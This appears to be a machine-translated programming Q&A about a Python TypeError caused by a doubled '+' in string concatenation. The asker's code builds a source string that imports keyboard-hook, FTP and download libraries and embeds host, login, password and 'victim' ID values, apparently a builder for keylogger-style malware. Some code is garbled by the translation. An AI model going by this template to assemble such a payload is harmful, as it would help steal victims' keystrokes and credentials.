运行python脚本时出错-一元+;的操作数类型错误:';str';

运行python脚本时出错-一元+;的操作数类型错误:';str';,python,Python,运行脚本时出现以下错误: Traceback (most recent call last): File "C:/Python27/PyInstaller-2.1/ketlc.py", line 354, in <module> startfun2(lk) File "C:/Python27/PyInstaller-2.1/ketlc.py", line 63, in startfun2 vir_myurl =''' + '\'' + vi_myurl +

运行脚本时出现以下错误:

Traceback (most recent call last):

  File "C:/Python27/PyInstaller-2.1/ketlc.py", line 354, in <module>
    startfun2(lk)

  File "C:/Python27/PyInstaller-2.1/ketlc.py", line 63, in startfun2
    vir_myurl =''' + '\'' + vi_myurl + '\'' + '''

TypeError: bad operand type for unary +: 'str'
我没发现有什么毛病!
我应该怎么做才能修复它?

检查报价计数和反斜杠

文件“C:/Python27/PyInstaller-2.1/ketlc.py”,第63行,在startfun2中
vir\u myurl='''+'\''+vi\u myurl+'\'+''

您使用的是字符串
vi_myurl
,而不是变量
vi_myurl
。如果你想让那些反斜杠出现在那里,它们也需要用一个额外的反斜杠转义


如上所述,语法高亮显示对发现这些错误非常有帮助。

vi_pasi=''+'\'+'+vi_pasi++'\'+'>
有两个后续的
+
符号。我在这里发现了两个+运算符:
'+'\'+'+vi_pasi++'\'+'
你应该得到一个带有语法高亮显示的IDE,这样你就可以发现这些东西。此外,无论您试图对所有这些显然是源代码(稍后执行)的串联做什么,都几乎肯定是一个坏主意,您应该避免,找到另一种方法来完成您正在做的事情。
a_code = '''import os, time, webbrowser, pyHook, pythoncom, sys, logging, wget

import getpass, ctypes, random, inspect, autopy, ftplib, urllib

vi_host =''' + '\'' + vi_host + '\'' + '''

vi_logi =''' + '\'' + vi_logi + '\'' + '''

vi_pasi =''' + '\'' + vi_pasi + + '\'' + '''

vi_id =''' + '\'' + vi_vicid + '\'' + '''

vi_myurl =''' + '\'' + vi_myurl + '\'' + '''


nisa = 0 '''